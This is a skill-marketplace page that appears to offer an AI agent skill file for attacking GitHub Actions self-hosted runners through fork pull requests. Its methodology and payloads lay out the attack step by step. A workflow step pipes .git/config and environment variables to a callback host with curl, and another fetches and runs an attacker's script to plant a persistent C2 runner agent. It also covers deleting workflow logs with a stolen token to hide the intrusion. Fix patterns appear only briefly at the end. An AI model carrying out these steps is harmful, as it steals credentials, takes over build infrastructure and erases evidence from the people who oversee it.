本文へ移動
cccskills
無料GitHub で公開

self-hosted-runner-poisoning

Use when hunting self-hosted GitHub Actions runner vulnerabilities where fork pull requests can execute on privileged non-ephemeral runners. Trigger on: "self-hosted runner", "runs-on self-hosted", "fork PR workflow", "non-ephemeral runner", "first-time contributor approval", "runner images", "azure-builds runner", "outside collaborator approval", "runs-on matrix", "persistent runner", "Gato GitHub Attack Toolkit", "runner agent", self-hosted CI/CD runner abuse, "git config token", "workflow log deletion", runner C2.

インストール方法を見る

含まれるファイル(1)

  • SKILL.md8.9 KB

SKILL.md(原文)

インストールする前に、エージェントに与えられる指示の中身を確認できます。

Self-Hosted Runner Poisoning

What Is Broken and Why

GitHub-hosted runners are ephemeral and isolated. Self-hosted runners are not — they persist between runs, share state, and often carry long-lived credentials baked into the environment. When a repository allows fork pull requests to run on self-hosted runners (especially with the default "Require approval for first-time contributors" setting), an attacker who has made even one accepted contribution can submit a PR that modifies the workflow's runs-on field to target a privileged self-hosted runner and execute arbitrary code on it. Non-ephemeral runners retain their working directory, installed tooling, and cached credentials across runs — making them ideal for persistence and lateral movement into the broader infrastructure.

Key Signals

  • runs-on: self-hosted or named runner labels (azure-builds, macos-vmware, [self-hosted, linux]) in workflow files
  • Repository setting: "Require approval for first-time contributors" (default) rather than "Require approval for all outside collaborators"
  • Fork PR workflows that use a matrix.os or matrix.runner whose values the PR author can influence
  • Non-ephemeral runner: runner directory persists, processes survive between runs
  • Workflow checks out code without persist-credentials: false → .git/config contains embedded GITHUB_TOKEN
  • runs-on field uses an expression: runs-on: ${{ matrix.os }} or runs-on: ${{ inputs.runner }}
  • Secrets or cloud credentials (AWS_*, AZURE_*, vCenter creds) available in runner environment
  • Repository contains build infrastructure workflows (Packer, Terraform, image builds)

Methodology

  1. Identify repositories using self-hosted runners:
    gato enumerate --target ORG --type org
    # or manually:
    grep -rn 'self-hosted\|runs-on:' .github/workflows/ | grep -v 'ubuntu-latest\|windows-latest\|macos-latest'
    
  2. Check the fork PR approval policy: Settings → Actions → Fork pull request workflows. "Require approval for first-time contributors" = vulnerable after one merged PR.
  3. Check if runs-on uses a matrix or expression that a PR author can modify.
  4. Submit one legitimate PR (typo fix, docs update) to gain "not first-time contributor" status.
  5. In a second PR, modify the workflow to:
    • Change runs-on to target a self-hosted runner label
    • Replace or append a malicious step to the workflow
  6. Confirm code execution via OOB callback.
  7. From runner context: extract .git/config for GITHUB_TOKEN, enumerate environment variables, access credential stores.
  8. Optionally install persistent runner agent for long-term access.
  9. Cover tracks: delete workflow run logs via API using stolen token.

Payloads & Tools

# Gato: enumerate org for self-hosted runner exposure
gato enumerate --target ORG --type org --output results.json
gato attack --target REPO --self-hosted

# Modify runs-on in workflow PR to target self-hosted runner
# Change in linter.yml or any triggered workflow:
-    runs-on: ubuntu-latest
+    runs-on: ${{ matrix.os }}
+    strategy:
+      matrix:
+        os: [self-hosted-runner-label]
# Malicious step payload — extract token from .git/config
- name: exfil
  run: |
    cat .git/config | base64 | curl -d @- https://CALLBACK
    printenv | curl -d @- https://CALLBACK

# Install persistent runner agent (C2)
- name: persist
  run: |
    curl -sSfL https://ATTACKER/runner-install.sh | bash
    # Registers new runner connected to attacker's private repo
    # Runs as background process, survives workflow completion
# Delete workflow run logs to remove evidence (using stolen GITHUB_TOKEN)
curl -L -X DELETE \
  -H "Authorization: Bearer STOLEN_TOKEN" \
  https://api.github.com/repos/ORG/REPO/actions/runs/RUN_ID

# List recent runs to find IDs to delete
gh api repos/ORG/REPO/actions/runs --jq '.workflow_runs[].id'

Bypass Techniques

  • First-time contributor bypass: submit one benign PR (typo, docs) to transition from "first-time contributor" to "returning contributor" — subsequent PRs skip approval
  • Matrix expression hijack: if runs-on: ${{ matrix.os }} and matrix is defined in a file the PR modifies, attacker controls the runner label
  • Workflow file in subdirectory: some repos call reusable workflows stored in subdirectories; a PR modifying those files can alter runs-on indirectly
  • Composite action replacement: replace a composite action called by the workflow with malicious steps — runs-on is inherited from the calling workflow
  • Non-ephemeral state abuse: if runner is not ephemeral, artifacts from previous runs (cached tokens, SSH keys, build outputs) may be accessible in the working directory without needing fresh exfiltration
  • persist-credentials: true (default): actions/checkout embeds GITHUB_TOKEN in .git/config — readable by any subsequent step

Exploitation Scenarios

Scenario 1 — Infrastructure takeover via image build runner Setup: Repository builds VM/container images using self-hosted runners with vCenter/Azure credentials. Fork PR approval requires only first-time contributor check. Trigger: Attacker merges one typo-fix PR, then submits second PR modifying runs-on to target the build runner. Impact: Runner environment yields vCenter admin credentials, Azure storage keys, SSH keys. Attacker can poison all future runner images deployed globally.

Scenario 2 — Persistent C2 via runner agent Setup: Self-hosted runner is non-ephemeral (shared VM, no cleanup between runs). Trigger: Malicious PR step installs a secondary GitHub Actions runner agent registered to attacker's private repo. Impact: Attacker maintains persistent access to the runner machine — survives PR close, branch delete, and log wipe. Can re-trigger at will via private repo workflows.

Scenario 3 — Token theft + log deletion Setup: Workflow uses default actions/checkout (persist-credentials: true). Trigger: Malicious step reads .git/config, exfiltrates GITHUB_TOKEN with write permissions. Impact: Attacker uses stolen token to push to protected branches, create releases, delete evidence (workflow logs deleted via API), and enumerate other secrets before token expires.

False Positives

  • Self-hosted runners in a repo where fork PRs are fully disabled
  • Approval policy set to "Require approval for all outside collaborators" — attacker's PR never runs
  • Runner IS ephemeral (fresh VM per job) — persistence techniques don't apply, but token exfiltration still works
  • runs-on hardcoded (not an expression) — attacker cannot redirect to a different runner label via PR

Fix Patterns

# WRONG: runs-on from matrix that PR author controls
runs-on: ${{ matrix.os }}

# CORRECT: hardcode runner label, don't expose it as a modifiable value
runs-on: ubuntu-latest
# or for self-hosted, use a fixed label not exposed in PR-modifiable files:
runs-on: [self-hosted, linux, internal]
# WRONG: default persist-credentials embeds token in .git/config
- uses: actions/checkout@v4

# CORRECT: don't persist credentials when not needed
- uses: actions/checkout@v4
  with:
    persist-credentials: false
  • Change fork PR approval to "Require approval for all outside collaborators" (not just first-time)
  • Use ephemeral runners (fresh VM per job) — eliminates persistence and state leakage
  • Restrict self-hosted runners to internal workflows only; never allow fork PRs to target them
  • Audit runner labels in all workflow files; alert on PRs that modify runs-on values
  • Rotate all credentials accessible from runner environments regularly

Related Skills

[[pwn-request]] is the most common trigger path that lands code on a self-hosted runner — a pull_request_target workflow that checks out PR code and runs it on a persistent self-hosted runner is the textbook combination. From there, [[github-actions-script-injection]] payloads can run to exfiltrate long-lived credentials stored in the runner environment. Once persistent access is established, [[github-actions-cache-poisoning]] can be executed from the compromised runner to poison downstream privileged workflows without requiring another PR.

レビュー

まだレビューはありません。使ってみた感想をお寄せください。

同じリポジトリのスキル

概要と使いどころ

Exploit pervasive logical flaws in Multi-Factor Authentication (MFA/2FA) implementations to bypass the secondary authentication challenge entirely. Techniques include response manipulation, referal spoofing, token reuse, and predictable backup codes.

日本語の概要は準備中です。原文の説明を表示しています。

ShulkwiSEC/bb-huge242026年7月11日 更新

401/403 bypass playbook. Use when encountering access-denied responses on admin panels, API endpoints, or restricted paths. Covers path manipulation, HTTP method tampering, header injection, protocol downgrade, and automated bypass tools.

日本語の概要は準備中です。原文の説明を表示しています。

ShulkwiSEC/bb-huge242026年7月11日 更新

Complete PortSwigger deep-dive with exact payloads for every lab variant including zero-day techniques

日本語の概要は準備中です。原文の説明を表示しています。

ShulkwiSEC/bb-huge242026年7月11日 更新

Active Directory ACL abuse playbook. Use when exploiting misconfigured AD permissions including GenericAll, WriteDACL, DCSync rights, shadow credentials, LAPS reading, GPO abuse, and BloodHound-guided attack paths.

日本語の概要は準備中です。原文の説明を表示しています。

ShulkwiSEC/bb-huge242026年7月11日 更新

Execute AS-REP Roasting to extract and crack the NTLM hashes of Active Directory user accounts that have the "Do not require Kerberos preauthentication" flag explicitly enabled. This attack generates a recoverable Ticket Granting Ticket (TGT) without requiring the attacker to authenticate first.

日本語の概要は準備中です。原文の説明を表示しています。

ShulkwiSEC/bb-huge242026年7月11日 更新

AD Certificate Services attack playbook. Use when targeting misconfigured AD CS for privilege escalation via ESC1-ESC13 template abuse, NTLM relay to enrollment, CA officer abuse, and certificate-based persistence.

日本語の概要は準備中です。原文の説明を表示しています。

ShulkwiSEC/bb-huge242026年7月11日 更新

ShulkwiSEC のスキルをすべて見る

このスキルの問題を報告する